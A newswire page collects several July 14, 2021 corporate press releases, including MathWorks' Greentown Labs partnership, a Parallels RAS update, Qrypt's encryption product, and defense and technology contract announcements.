Greentown entrepreneurs also gain access to more than 100 add-on toolboxes, engineering support from MathWorks' experts, and access to the MATLAB Central user community. Over the past seven years, MathWorks has accelerated the development of hundreds of Greentown startups working across a variety of sectors from microgrids to autonomous vehicles to marine mammal monitoring. Learn more about how the company has supported some of Greentown's startups here and see the startups speak about the positive impact MathWorks made on their companies here and here .



"As one of our longest-standing partners, we're thrilled to have MathWorks expanding its engagement with Greentown and our community of climatetech startups," said Dr. Emily Reichert, CEO of Greentown Labs. "MathWorks offerings play a critical role in the success of our engineering and science-focused community. They are uniquely positioned to help our entrepreneurs model and test their products in a simulated environment, which is critical to their development efforts. We are grateful for MathWorks' continued support!" Through a deeper partnership with Greentown, MathWorks will gain access to curated startup pitch days with innovations from emerging technology sectors, and hold a seat on Greentown's Advisory Board, which provides strategic guidance and input to the incubator throughout the year. David Rich, Director of MATLAB Product Marketing, will serve on the Advisory Board for 2021.

The Greentown community is comprised of climate action pioneers working to design, develop, and deploy solutions to combat climate change. MathWorks is one of a limited number of Greentown partners that provides direct access to the tools and resources the community of entrepreneurs need to accelerate their pathway to market. Learn more about Greentown and its network of startups and partners by visiting www.greentownlabs.com . About Greentown Labs

As the largest climatetech startup incubator in North America, Greentown Labs brings together startups, corporates, investors, policymakers, and many others with a focus on scaling climate solutions. Driven by the mission of providing startups the resources, knowledge, connections, and equipment they need to thrive, Greentown Labs offers lab space, shared office space, a machine shop, an electronics lab, software and business resources, and a large network of corporate customers, investors, and more. With its headquarters in Somerville, Mass. and a recently opened incubator in Houston, Texas, Greentown Labs is home to more than 180 startups and has supported more than 400 startups since the incubator's founding in 2011. These startups have collectively created more than 6,500 direct jobs and have raised more than $1.2 billion in funding. For more information, visit www.greentownlabs.com or Twitter , Facebook , and LinkedIn . Greentown Labs Media Contact:

Julia Travaglini

VP of Marketing & Communications

julia@greentownlabs.com

603-867-3657 About MathWorks:

MathWorks is the leading developer of mathematical computing software. MATLAB, the language of engineers and scientists, is a programming environment for algorithm development, data analysis, visualization, and numeric computation. Simulink is a block diagram environment for simulation and Model-Based Design of multidomain and embedded engineering systems. Engineers and scientists worldwide rely on these product families to accelerate the pace of discovery, innovation, and development in automotive, aerospace, electronics, financial services, biotech-pharmaceutical, and other industries. MATLAB and Simulink are also fundamental teaching and research tools in the world's universities and learning institutions. Founded in 1984, MathWorks employs more than 5000 people in 16 countries, with headquarters in Natick, Massachusetts, USA. For additional information, visit?mathworks.com. MATLAB and Simulink are registered trademarks of The MathWorks, Inc. See?mathworks.com/trademarks?for a list of additional trademarks. Other product or brand names may be trademarks or registered trademarks of their respective holders. MathWorks Media Contact:

Kevin Lorenc

Corporate Communications

klorenc@mathworks.com

508-647-7332 View original content to download multimedia:https://www.prnewswire.com/news-releases/mathworks-deepens-its-engagement-with-greentown-labs-becomes-its-newest-terawatt-partner-301333437.html SOURCE Greentown Labs

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[July 14, 2021] Matt Tarascio Joins Booz Allen to Lead AI Practice for Defense Clients

Booz Allen Hamilton (NYSE: BAH) announced today that Matt Tarascio has joined the firm as a senior vice president in the strategic innovation group (SIG), leading the analytics and artificial intelligence (AI) business in support of the U.S. Department of Defense (DoD). Tarascio will spearhead Booz Allen's efforts to accelerate the integration of analytics, data science, and AI capabilities in support of public and private sector missions. "AI is advancing at a rapid pace. We pride ourselves on the strength of our team and our collective experience engineering and integrating AI solutions," said Steve Escaravage, senior vice president and leader of Booz Allen's analytics practice and AI services business. "Matt's extensive domain knowledge, combined with his understanding of the unique needs of clients operating in the defense sector, make him a tremendous asset to Booz Allen and our clients." Tarascio brings deep expertise in AI and analytics. In his most recent role, he served asLockheed Martin's vice president of AI, developing the talent, tools, technology, and strategy required to rapidly deliver value across the enterprise through the ethical deployment of AI and machine learning (ML) at scale. He previously served as Lockheed Martin's (News - Alert) first Chief Data & Analytics Officer, establishing the function and organization for the enterprise focused on data strategy, analytics and AI. Prior to Lockheed Martin, Matt held senior roles at Sikorsky, throughout the Innovations, Engineering, Programs and Strategy departments.



"I am inspired by the ground-breaking work Booz Allen is doing in advancing the application of disruptive technologies to assist in real-world client mission execution," said Tarascio. "I am excited to join the team - truly some of the best and the brightest in the defense industry. I look forward to developing strategic applications of AI/ML and related disruptive technologies for national defense, with a keen eye on the appropriate and ethical use of these technologies." Tarascio grew up in Australia and earned his bachelor's degree in Aerospace Engineering from the Royal Melbourne Institute of Technology. He moved to the U.S. in 1999 to attend the University of Maryland's Alfred Gessow Rotorcraft Center of Excellence, where he received a master's degree in Aerospace Engineering. Tarascio is a recipient of the American Institute of Aeronautics and Astronautics' Orville and Wilbur Wright Award, which is awarded for significant research contributions to the aerospace engineering field.

Learn more about Booz Allen's wide range of AI services, and how the firm brings the latest technology solutions to the Department of Defense. BAHPR-GI About Booz Allen Hamilton (News - Alert) For more than 100 years, military, government, and business leaders have turned to Booz Allen Hamilton to solve their most complex problems. As a consulting firm with experts in analytics, digital, engineering, and cyber, we help organizations transform. We are a key partner on some of the most innovative programs for governments worldwide and trusted by its most sensitive agencies. We work shoulder-to-shoulder with clients, using a mission-first approach to choose the right strategy and technology to help them realize their vision. With global headquarters in McLean, Virginia, our firm employs nearly 27,700 people globally, and had revenue of $7.9 billion for the 12 months ended March 31, 2021?. To learn more, visit BoozAllen.com. (NYSE: BAH) View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005621/en/

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[July 14, 2021] Parallels Remote Application Server Update Maximizes the Remote Working Experience for Users and Admins

BELLEVUE, Wash., July 14, 2021 (GLOBE NEWSWIRE) -- Parallels, a global leader in cross-platform solutions, today announced an update to Parallels Remote Application Server (Parallels RAS, parallels.com/ras), that delivers an enhanced experience for both end-users and IT admins. Optimizing the cost-effective, flexible and scalable publication of virtual desktops and applications to any device, Parallels RAS 18.1 offers new productivity and management features to enable employees to work easily and securely from anywhere.

Listening to our users feedback and learning about their remote working challenges especially over the last year, its clear that productivity and better management are top of mind for admins, said Nick Dobrovolskiy, Senior Vice President of Engineering and Support at Parallels. Parallels RAS 18.1 addresses these concerns head on by extending and maximizing performance for users while also improving the administrative experience. Were committed to building on our Azure Virtual Desktop (formerly known as Windows Virtual Desktop) capabilities as well as offering leading edge support for newly introduced features from Microsoft. Self-Service Remote PC Access Among existing Parallels RAS customers, the huge increase in remote work as a result of the 2020 pandemic led to an over 200% increase in Remote PC usage - enabling businesses to build on their existing investment by utilizing their PC hardware located in shutdown offices. Parallels RAS 18.1 now offers a self-service feature that enables individuals to securely perform their own enrollment, which eliminates much of the pressure on IT admins that receive numerous requests to add standalone remote PCs manually. Remote PCs are automatically added to Parallels RAS as a published desktop, in a chosen location, with the specified user filtering preconfigured. Additionally, this feature can be used by admins to auto-enroll remote PCs on users behalf. This reduces the IT burden and speeds up the on-boarding process to efficiently provide employees with remote access to office-based workstations. Combined User-Session Management Parallels RAS 18.1 builds on the advanced session details added in Parallels RAS 18.0 to solve the challenges of session management regardless of the delivery method. With different users requiring different workload session hosts (e.g., RD Session Hosts, virtual desktop infrastructure (VDI), Remote PC through VDI or Azure Virtual Desktop), admins can now view all user sessions in a single pane of glass. In addition, a new resource view is also made available, which shows exactly what published resources are running in these sessions.



These capabilities, accompanied by the advanced session metrics, help improve management efficiency. Administrators and helpdesks can use this improved visibility together with a new search and filter capability to better understand what is happening in a session and take action to reduce downtime, improving the user experience through faster issue resolution. New Features for Azure Virtual Desktop and New Apple M1 Support Azure Virtual Desktop Integration 1: Parallels RAS 18.1 continues to bring more features to the existing Azure Virtual Desktop integration, first introduced in version 18, which enables customers to move swiftly to the cloud and benefit from cloud services and hybrid environments.





Parallels RAS 18.1 continues to bring more features to the existing Azure Virtual Desktop integration, first introduced in version 18, which enables customers to move swiftly to the cloud and benefit from cloud services and hybrid environments. Parallels Client for Apple Silicon (M1): The Parallels Client for macOS has been rebuilt and optimized to run natively on Apple M1 and Intel-based Mac devices to increase performance for Mac users.



Dynamic session resolution update

Bidirectional clipboard and file transfer control

Granular multifactor authentication configuration

Maintenance for published resources

Yubico - YubiKey (PIV) support in the Parallels Client for Windows

Additional information and other features introduced in version 18.1 are available online on the Parallels RAS product page at parallels.com/ras. Stay tuned for more features to be added later this year that will further improve resource utilization, user productivity and administrative capabilities. Webinar on Parallels RAS 18.1

The new features of Parallels RAS 18.1 will be covered in our upcoming webinar  Register now for free at b2b.parallels.com/parallels-ras-18.1-whats-new-webinar.html. Availability and Pricing Parallels offers a free 30-day, full-featured trial of Parallels RAS 18.1, including 50 concurrent user licenses, at parallels.com/ras. Parallels RAS offers a concurrent user license at $99.99 USD per-year for a lower acquisition, support and training costwith full functionality from the start, including a load balancer and support. Parallels RAS is available online and from approved resellers. Additional information, including product details, resources, documentation, case studies and full-featured free trials can be found at parallels.com/ras. 1 Notes for Editors Override host size: Different users such as task users, knowledge and power users, may require the same base template, but use different sized resources. Parallels RAS 18.1 enables on-the-fly override of the VM host size per host pool, ensuring better resource utilization and cost optimization while targeting user-specific performance requirements.





Different users such as task users, knowledge and power users, may require the same base template, but use different sized resources. Parallels RAS 18.1 enables on-the-fly override of the VM host size per host pool, ensuring better resource utilization and cost optimization while targeting user-specific performance requirements. RDP Shortpath: This new Azure Virtual Desktop feature establishes a direct UDP-based communication between the Client and the session host. Parallels RAS enables administrators to extend this functionality from the RAS Console for Parallels customers using Azure Virtual Desktop. Direct connectivity reduces dependency on Azure Virtual Desktop gateways, improves connection reliability, and increases the bandwidth available for each user session.





This new Azure Virtual Desktop feature establishes a direct UDP-based communication between the Client and the session host. Parallels RAS enables administrators to extend this functionality from the RAS Console for Parallels customers using Azure Virtual Desktop. Direct connectivity reduces dependency on Azure Virtual Desktop gateways, improves connection reliability, and increases the bandwidth available for each user session. Support for SAML SSO with Azure Virtual Desktop: Security Assertion Markup Language (SAML) 2.0 Single Sign-On (SSO) has been supported since Parallels RAS 17.1. Version 18.1 introduces support for SAML 2.0 SSO with Microsoft Azure as Identity Provider (IdP) and Azure Virtual Desktop, enabling SSO experience. In this way, Parallels RAS 18.1 streamlines the management of user identities from different organizations, reducing the number of times users are asked for credentials when using Azure Virtual Desktop.





Security Assertion Markup Language (SAML) 2.0 Single Sign-On (SSO) has been supported since Parallels RAS 17.1. Version 18.1 introduces support for SAML 2.0 SSO with Microsoft Azure as Identity Provider (IdP) and Azure Virtual Desktop, enabling SSO experience. In this way, Parallels RAS 18.1 streamlines the management of user identities from different organizations, reducing the number of times users are asked for credentials when using Azure Virtual Desktop. Also new in Parallels RAS 18.1: Now, Azure Virtual Desktop resources can be launched from the Parallels HTML5 Client Portal using the Parallels Client for Windows. New template management features such as a repair option (tags), custom and predefined server tools and agent troubleshooting option. About Parallels

Parallels is a global leader in cross-platform solutions that make it simple for businesses and individuals to use and access the applications and files they need on any device or operating system. Parallels helps customers leverage the best technology out there, whether its Windows, Mac, iOS, Android or the cloud. Parallels solves complex engineering and user experience problems by making it simple and cost-effective for businesses and individual customers to use applications anywhere, anytime. Parallels, a business unit of Corel, has offices in North America, Europe, Australia and Asia. Visit parallels.com/about for more information. Stay connected with Parallels and our online communities. Follow us on LinkedIn at linkedin.com/showcase/parallels-ras or Twitter at twitter.com/ParallelsRAS . Subscribe to our blog at b2b.parallels.com/pras-blog-subscribe.html About Corel

Corel products enable millions of connected knowledge workers around the world to do great work faster. Offering some of the industrys best-known software brands, Corel gives individuals and teams the power to create, collaborate and deliver impressive results. Success is driven by an unwavering commitment to deliver a broad portfolio of innovative applications  including CorelDRAW, MindManager, Parallels and WinZip  to inspire users and help them achieve their goals. To learn more about Corel, please visit www.corel.com. Media Contacts: Ryan Donough, Burson, Cohn & Wolfe for Parallels, ryan.donough@bcw-global.com , +1 415 403-8311

Beatrice Vogel, Senior Communications Manager, bvogel@parallels.com, +49 151 16861293 2021 Parallels International GmbH. All rights reserved. Parallels, and the Parallels logo are trademarks or registered trademarks of Parallels International GmbH in Canada, the United States, and elsewhere. Corel, CorelDRAW, MindManager, and WinZip are trademarks or registered trademarks of Corel Corporation in Canada, the U.S., and/or elsewhere. Apple, macOS and Mac are trademarks of Apple Inc. All other company, product and service names, logos, brands, and any registered or unregistered trademarks mentioned are used for identification purposes only and remain the exclusive property of their respective owners. Use of any brands, names, logos, or any other information, imagery, or materials pertaining to a third party does not imply endorsement. We disclaim any proprietary interest in such third-party information, imagery, materials, marks, and names of others. For all notices and information about patents, please visit www.corel.com/patent. A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/83d5e08c-1b67-4228-a6de-fff7e3c7ce2e A video accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/0dae0581-65dd-47d4-94c2-076ce7ffc363



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[July 14, 2021] Qrypt Enables Businesses to Easily Replicate the Data Security of Air-Gapped Networks

Qrypt, a leader in cryptographic quantum security solutions enabled by Quantum (News - Alert) Entropy-as-a-Service (EaaS), unveiled today its Quantum Data at Rest (QDAR) application. QDAR provides one-time pad encryption as a data-at-rest solution for companies to secure important files, proprietary information and all mission-critical data. Qrypt's technology allows businesses to replicate air gapped networks - the highest level of data security used by the CIA. "The security industry has always warned that keeping data safe meant trusting no one else. We're simply making that an attainable possibility for anyone to easily deploy," said Denis Mandich, Qrypt's CTO and co-founder. "QDAR is the next step in Qrypt's mission to democratize quantum encryption. Businesses now have access to unbreakable one-time pad encryption to keep their most important files safe from malicious attackers, even in the event of security breaches or data harvesting." In today's world, many applications used to communicate data, including Slack, Microsoft (News - Alert) Teams, and Facebook Workplace, are also the data encryption platform. If at any point the service provider is compromised, it is very likely that all customer and user data also becomes compromised. By separating the communication platform from the encryptin platform, malicious attackers instead need to simultaneously breach both services to access the valuable data. In a world where "harvest now, decrypt later" tactics are a serious threat, this de-coupled approach vastly improves data security.



QDAR is powered by Qrypt's patented BLAST algorithm, which leverages quantum random number generation from multiple sources of entropy to produce perfectly random one-time pad. Any user can quickly and easily encrypt sensitive files with quantum random generated one-time pads. Only users with the same pad can decrypt the data to read the files, ensuring important information is kept secret. Businesses can use this network to share sensitive information across a remote workforce without any risk of compromise, a need that has increased during the pandemic. Because each encryption session and one-time pad are unique and bear no relation to the next session and key, this approach to encryption is the only techniques that cannot be "brute forced" by quantum computing. One-time pad encryption can only be broken if an attacker has access to the specific pool of random numbers used by QDAR to encrypt the data, as well as the specific sampling and extraction parameters unique to that encryption session. Essentially, Qrypt's QDAR can only be compromised at the point of no return - when a malicious actor already has complete digital or physical access to the user's devices.

Qrypt's quantum encryption technology is based on years of research and development with leading engineers, physicists and cryptographers to build a revolutionary new approach to data security for the quantum computing age. The company holds several strategic partnerships with leading domestic and international labs providing exclusive access to novel quantum entropy sources that power Qrypt's EaaS technologies. All of the company's research has been validated by experts in their field, published and evaluated in various recognized peer-reviewed journals. Qrypt also holds an international patent portfolio with eight patents and 100+ claims for its various technologies and solutions in the U.S., Europe, Japan and Korea. About Qrypt: Founded by Kevin Chalker and Denis Mandich, Qrypt is dedicated to democratizing quantum cryptography to protect and defend our collective privacy from exploitation. With a team of seasoned leaders in engineering, physics, and cryptography, Qrypt built a patented and peer-reviewed quantum cryptography solution and Entropy-as-a-Service for global business. The Qrypt solution is capable of securing information indefinitely, against quantum computers and further advances in science. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005093/en/

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[July 14, 2021] Sentar Wins $9M NASA MSFC Ground Systems Engineering Support Services Blanket Purchase Agreement Through 2024

Sentar Inc. (Sentar), one of the fastest growing cybersecurity and intelligence solutions, operations and technology providers in the national security sector, announced today the award of the MSFC Ground Systems Engineering Support Services Contract from NASA. Sentar was awarded a $9 million indefinite-delivery/indefinite-quantity Blanket Purchase Agreement and will compete for task orders through 2024. Through this contract, Sentar will provide Ground Systems Engineering Support Services to NASA Marshall Space Flight Center. Sentar will also provide expertise and knowledge about the design, integration and management of complex ground systems used in military or civilian spacecraft monitoring and/or command and control applications. Sentar and other contractors will: prepare mission operations concepts

develop the required console products (including displays and command and control strategies

prepare and participate in any training and mission simulations required for mission execution

conduct mission operations for the customer "This opportunity allows Sentar to support NASA in every step of developing complex ground systems for our nation's expanding space program," said Paul Presson, Vice President of Army, Air Force and Space. "We are honored to have been selected for the Ground Systems Engineering Support Services BPA and look forward to being a trusted and reliable partner to NASA for many years to come."



The period of performance for this BPA is from June 15, 2021 through 2024. About Sentar, Inc.

Sentar is one of the fastest-growing cyber intelligence, analytics and operations solutions providers focused on the National Security sector. Its cyber domain solutions blend expertise in cybersecurity, intelligence, analytics, and systems engineering into holistic solutions that combine these disciplines to deliver superior results to mission partners. Key clients include the Defense Health Agency, the U.S. Army, the U.S. Navy, and Missile Defense Agency. Sentar has offices in Huntsville, Alabama; Charleston, South Carolina; Columbia, Maryland; and San Antonio, Texas. Visit www.sentar.com for more information. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005061/en/

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[July 14, 2021] TCS Expands in Arizona: To Invest $300 Million by 2026 in Local Job Creation and Community STEM Education

PHOENIX and MUMBAI, India, July 14, 2021 /PRNewswire/ -- Tata Consultancy Services (TCS) (BSE: 532540, NSE: TCS), a leading global IT services, consulting, and business solutions organization, announced plans to expand its operations in Arizona, investing more than $300 million by 2026 and hiring more than 220 employees by 2023, to meet the digital transformation needs of its customers. TCS will also continue to expand the reach of its STEM and Computer Science education programs in Arizona by increasing teacher training and online content for students over the next two years. TCS' flagship Phoenix Business Center, one of 30 TCS facilities in the US, serves more than 50 customers across Arizona. TCS currently has more than 780 employees in the state, helping clients in banking, manufacturing, healthcare, and utilities, manage their IT operations and harness technologies such as artificial intelligence, machine learning, and enterprise software to achieve their growth and transformation objectives. The new positions will be based at the Phoenix center as well as in client offices around the state. "TCS has a global reputation for excellence," said Governor Doug Ducey. "Their selection of Arizona for this significant expansion demonstrates the strength of the Phoenix market and vitality of our local businesses. We are also grateful for TCS' continued support of local STEM education, which has been a priority in Arizona. TCS has been a fantastic private sector partner and we look forward to their continued success. "Arizona is excited to see TCS add to its already sizeable presence in the state with the addition of more than 220 new jobs," said Sandra Watson, President and CEO, Arizona Commerce Authority. "This investment highlights Arizona's thriving innovation ecosystem as well as our robust pipeline for technology talent. We thank TCS for their continued commitment to our state." "We are delighted to expand our presence in Arizona, tap local talent to help clients in their transformation journeys, and contribute to the growth of the technology industry here. We also look forward to expanding our community engagement through our STEM initiatives, to help nurture the next generation of local technology leaders in our schools," said Surya Kant, Chairman of North America, TCS. TCS recognizes the need to expand STEM and computer science education in schools across Arizona and the US as the company continues to hire local IT talent. According to Code.org, Arizona currently has more than 9,713 open computing jobs, yet there were only 1,014 graduates in computer science in 2018, and just 30 percent of Arizona public high schools currently teach foundational courses in computer science. To lay the groundwork for a pipeline of skilled talent in Arizona, TCS has implemented its Ignite My Future in School (IMFIS) and goIT programs, partnering with Arizona State University's Innovation Lab to bring goIT's Design Thinking model of identifying alternative strategies and solutions to solve problems to the curriculum. The success in Phoenix, which helped 130 students, allowed TCS to scale the partnership model around the US, including a first-of-its-kind playbook for facilitating a design thinking program. Since 2019, more than 1,200 educators have accessed IMFIS online content, reaching over 70,000 students in Arizona. Further, 15 school districts across the state have attended IMFIS TECHademies, which are TCS-sponsored professional development events for educators. In addition to TCS' signature STEM education programs, employees have volunteered more than 1,150 hours with national and local non-profit organizations such as the American Heart Association, St. Mary's Food Bank, and Toys for Tots. Over the past 40 years, TCS has partnered with more than a third of the Fortune 500 companies to help them digitally transform and grow their businesses. TCS has been among the top two US recruiters of IT services talent, hiring more than 21,500 employees in the past five years. With industries looking to recover from the effects of COVID-19, TCS expects to hire an additional 10,000 local employees in the US by 2022. About Tata Consultancy Services (TCS)

Tata Consultancy Services is an IT services, consulting and business solutions organization that has been partnering with many of the world's largest businesses in their transformation journeys for over 50 years. TCS offers a consulting-led, cognitive powered, integrated portfolio of business, technology and engineering services and solutions. This is delivered through its unique Location Independent Agile delivery model, recognized as a benchmark of excellence in software development. A part of the Tata group, India's largest multinational business group, TCS has over 500,000 of the world's best-trained consultants in 46 countries. The company generated consolidated revenues of US $22.2 billion in the fiscal year ended March 31, 2021, and is listed on the BSE (formerly Bombay Stock Exchange) and the NSE (National Stock Exchange) in India. TCS' proactive stance on climate change and award-winning work with communities across the world have earned it a place in leading sustainability indices such as the MSCI Global Sustainability Index and the FTSE4Good Emerging Index. For more information, visit www.tcs.com and follow TCS news at @TCS_News. To stay up-to-date on TCS global news, follow @TCS_News. TCS media contacts:







Asia Pacific Email: sean.davidson@tcs.com | Phone: +65 9139 3668 Australia and New Zealand Email: kelly.ryan@tcs.com | Phone: +61 422 989 682 Benelux Email: joost.galema@tcs.com | Phone: +31 615 903387 Canada Email: tia.thomas@tcs.com | Phone: +1 647 790 7602 Europe Email: mattias.afgeijerstam@tcs.com | Phone: +46 723 989 188 India Email: saxena.kritika@tcs.com | Phone: +91 22 6778 9999

Email: reena.mehta@tcs.com | Phone: +91 22 6778 9999

Email: vanshika.sood@tcs.com | Phone: +91 22 67789098 Middle East & Africa Email: s.hasneen@tcs.com | Phone: +971567471988 Japan Email: douglas.foote@tcs.com | Phone: +81 80-2115-0989 Latin America Email: martin.karich@tcs.com | Phone: +569 6170 9013 Nordics Email: roland.bagen@tcs.com | Phone: +46 70 317 80 24 UK Email: peter.devery@tcs.com | Phone: +44 20 3155 2421 USA Email: william.thomas@tcs.com | Phone: +1 203-984-3978

View original content to download multimedia:https://www.prnewswire.com/news-releases/tcs-expands-in-arizona-to-invest-300-million-by-2026-in-local-job-creation-and-community-stem-education-301333270.html SOURCE Tata Consultancy Services

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[July 14, 2021] Texas Blockchain Council Spearheads Passage of Two Blockchain Laws

AUSTIN, Texas, July 14, 2021 /PRNewswire/ -- The Texas Blockchain Council announced today that it spearheaded the passage of two major pieces of blockchain-related legislation during the 87th Texas State Legislative Session: HB 1576, the "Blockchain Work Group Bill", and HB 4474 the "Virtual Currencies Bill". The TBC helped research and generate support for both bills. HB 1576 mandates the establishment of a Blockchain Work Group for the State of Texas, comprised of legislators and private citizens with subject-matter expertise on blockchain technology, in order to formulate blockchain-related policy recommendations for the State. HB 4474 updates the Texas Uniform Commercial Code to define virtual currencies, how control over such currencies is established, and how a security interest in a virtual currency is perfected. In addition, the UCC amendment clarifies how virtual currency would be used to make payments and in loan disputes.



The bills enjoyed broad, bipartisan support, with Representative Tan Parker and Senator Angela Paxton championing them in their respective chambers. Texas Governor Greg Abbott also vocally supported both bills on social media and signed them into law in June. The impact of the legislation was felt immediately, when on June 10th the Texas Department of Banking affirmed that banks chartered in Texas may custody virtual currencies. Lee Bratcher, President of the Texas Blockchain Council, described how the TBC is keeping the momentum behind blockchain technology strong: "Working closely with our champions in the Texas Senate and House of Representatives, the Texas Blockchain Council ensured that blockchain technology remained a priority for our State during a Legislative Session where many other pressing issues competed for legislators' attention. This reflects our mission of making Texas a leader in blockchain innovation."

Natalie Smolenski, Chair of the Board of the Texas Blockchain Council, added: "These two laws are the opening salvo letting the world know that Texas is open for blockchain business. As an entrepreneur working on blockchain technology in Texas since 2015, this has sent a signal that Texas welcomes value creators like us with open arms." The Texas Blockchain Council is hosting the inaugural Texas Blockchain Summit in Austin on October 8th. Register here. To join the Texas Blockchain Council, please contact: contact@texasblockchaincouncil.org For press inquiries, please contact: press@texasblockchaincouncil.org View original content to download multimedia:https://www.prnewswire.com/news-releases/texas-blockchain-council-spearheads-passage-of-two-blockchain-laws-301333162.html SOURCE Texas Blockchain Council

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[July 14, 2021] Universal Hydrogen and Ravn Alaska Sign LOI for Hydrogen-Powered Dash 8s as Airline Expands Efforts Towards Carbon-Free Aircraft Network

Universal Hydrogen, the company fueling carbon-free flight, today announced it has signed a letter of intent (LOI) with Ravn Alaska, an Anchorage-based regional airline. Under this LOI, Ravn is committed to purchasing five of Universal Hydrogen's conversion kits that will integrate the company's modular hydrogen capsule technology and hydrogen powertrain into Ravn's growing regional turboprop fleet. In a transportation segment that is critical to the way of life in Alaska, the conversions will provide a zero-carbon solution for both passenger and cargo services. Universal Hydrogen fits perfectly into Ravn's global initiative to drastically reduce its carbon footprint in the coming years. "At Ravn, we love the Dash 8 family of aircraft for their durability and suitability to our rugged region. These aircraft enable us o provide exceptional service to the many far-flung communities across Alaska," said Rob McKinney, CEO of Ravn Alaska. "It's essential that as Ravn grows and air travel returns, our business decisions are made with sustainability top of mind. With this partnership, we are able both to reduce the carbon impact of our aircraft and improve their operational efficiency, which is a win for our customers, our business, and the environment."



In addition to the five aircraft conversions, the LOI establishes Universal Hydrogen as Ravn's long-term supplier of green hydrogen fuel services for its regional fleet. "We are thrilled to have Ravn Alaska as our first U.S. domestic airline partner looking to decarbonize their aircraft operations in the near term," said Paul Eremenko, co-founder and CEO of Universal Hydrogen. "Ravn is thriving under its new leadership and it's impressive to work with a team that's committed to making forward-looking choices that ensure their growth is sustainable."

About Ravn Alaska Ravn Alaska is a regional airline headquartered in Anchorage that services communities across Alaska including Aniak, Cold Bay, Dillingham, Dutch Harbor, Homer, Kenai, King Salmon, Sand Point, St. Mary's, St. Paul Island, Unalakleet and Valdez. The airline provides daily flights aboard its safety-rated de Havilland Dash-8 fleet, charter flights and cargo shipments. Visit https://ravnalaska.com/ to book a flight and learn more about Ravn. About Universal Hydrogen Universal Hydrogen is making hydrogen-powered commercial flight a near-term reality. The company takes a flexible, scalable, and capital-light approach to hydrogen logistics by transporting it in modular capsules over the existing freight network from green production sites to airports around the world. To accelerate market adoption, Universal Hydrogen is also developing a conversion kit to retrofit existing regional airplanes with a hydrogen-electric powertrain compatible with its modular capsule technology. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005543/en/

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[July 14, 2021] UOVO Acquires Ship/Art International and Ship Art-Terry Dowd

NEW YORK, July 14, 2021 /PRNewswire/ -- UOVO, the premier provider of fine art and collections storage and services, is pleased to announce that it has acquired Ship/Art International and Ship Art-Terry Dowd, two of the most reputable art logistics companies in the United States. The acquisitions of Ship/Art and Ship Art-Terry Dowd build upon UOVO's recent expansion to South Florida and Delaware, adding facilities in the San Francisco Bay Area and Denver metropolitan region, along with a robust suite of services, to its offerings. Founded in 1987, Ship/Art is a heritage brand that has been serving the Bay Area's top institutions, private collectors, and galleries for more than three decades. In 2017, Ship/Art Denver and Terry Dowd, Inc. joined forces as Ship Art-Terry Dowd, offering high-level art logistics services to the Denver metropolitan region. Together, the two companies have excelled in the storing, handling, packing, and shipping of artworks and antique collections. UOVO's acquisition of Ship/Art and Ship Art-Terry Dowd comes at an exciting time in the company's growh as it strives to become the leading art logistics provider in the United States by replicating the model of success it has established in New York. Through a national network of superior facilities operated by an expert team of industry professionals, UOVO is committed to meeting its clients' needs wherever they may be.



UOVO Co-Chairman, Steven Novenstein, said: "It is with great enthusiasm that we welcome the Ship/Art and Ship Art-Terry Dowd teams to UOVO. They have built a strong reputation throughout the western US as first-rate art storage and services companies and possess immense technical expertise. With locations in the Bay Area and Denver metro region, we are now able to serve our clients coast-to-coast with superlative storage and services dedicated to the long-term preservation of art." The dual acquisitions of Ship/Art and Ship Art-Terry Dowd will allow UOVO to achieve national scale while continuing to offer localized expertise in the markets in which it operates. The proximity to Aspen, Telluride, and other niche markets presents an opportunity to deliver best-in-class collections storage and services through the development of new facilities and enhanced offerings in areas that are of increasing importance.

About UOVO

UOVO is the nation's leading logistics provider for art, archives, and collectibles with state-of-the-art facilities in New York, Delaware, Florida, Colorado, and California. UOVO is operated by an expert team of industry professionals and offers bespoke solutions to meet the specialized needs of any collection. Our services include climate-controlled storage, private viewing galleries, local transportation, international shipping, installation, packing, archival photography, digital inventory management, and more. Press Contact:

Andrew Barron

+1 646 518 1917

abarron@uovo.art uovo.art View original content to download multimedia:https://www.prnewswire.com/news-releases/uovo-acquires-shipart-international-and-ship-art-terry-dowd-301333705.html SOURCE UOVO

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U.S. Army Awards BAE Systems $62 Million for Next-Generation Missile Warning System

BAE Systems (News - Alert) has received a $62 million contract from the U.S. Army to deliver the next-generation 2-Color Advanced Warning System (2CAWS). The system provides aircrews with advanced threat detection capabilities, improving survivability and mission effectiveness in contested environments. This latest award is part of the Limited Interim Missile Warning System (LIMWS) and encompasses the third of four production lots.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005530/en/

BAE Systems' 2-Color Advanced Warning System provides advanced threat detectioncapabilities. (BAE Systems photo)





"We are excited to leverage our expertise on Quick Reaction Capability programs to support the U.S. Army - protecting their aircraft and the aircrews who fly them," said Chris Austin, director of Threat Detection Solutions at BAE Systems. "2CAWS offers new capabilities that are revolutionizing protection, for both the enduring and future U.S. Army fleets."

Optimized for size, weight, and power, 2CAWS features an open system architecture, two-color infrared sensors for increased range, and a fiber optic A-kit for faster data transmission. The system processor serves as the high-bandwidth digital backbone of the system. It houses advanced machine learning missile warning algorithms specifically designed for complex, high-clutter environments and rapid threat updates. 2CAWS is compatible with existing U.S. Army aircraft survivability equipment, including pilot interfaces and countermeasure systems, allowing for faster installation and integration timelines.

2CAWS builds on BAE Systems' experience delivering combat-proven aircraft survivability equipment to the U.S. and its allies. The company's Common Missile Warning System, a member of its aircraft survivability portfolio, is currently fielded on thousands of U.S. Army platforms and has saved dozens of aircraft and their crews since it was first fielded in 2005.

Work on the LIMWS program will be conducted in BAE Systems' state-of-the-art facilities in Huntsville, Alabama, and Nashua, New Hampshire.

Learn more about BAE Systems' aircraft survivability equipment.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005530/en/
[July 14, 2021]

U.S. Department of Defense awards Detroit Mercy-led Cybersecurity consortium $1.12-million grant

DETROIT, July 14, 2021 /PRNewswire/ -- University of Detroit Mercy received a $1.12-million grant from the United States Department of Defense (DoD) to establish the Metro-Detroit Regional Vehicle Cybersecurity Institute, a regional-based, cybersecurity consortium.

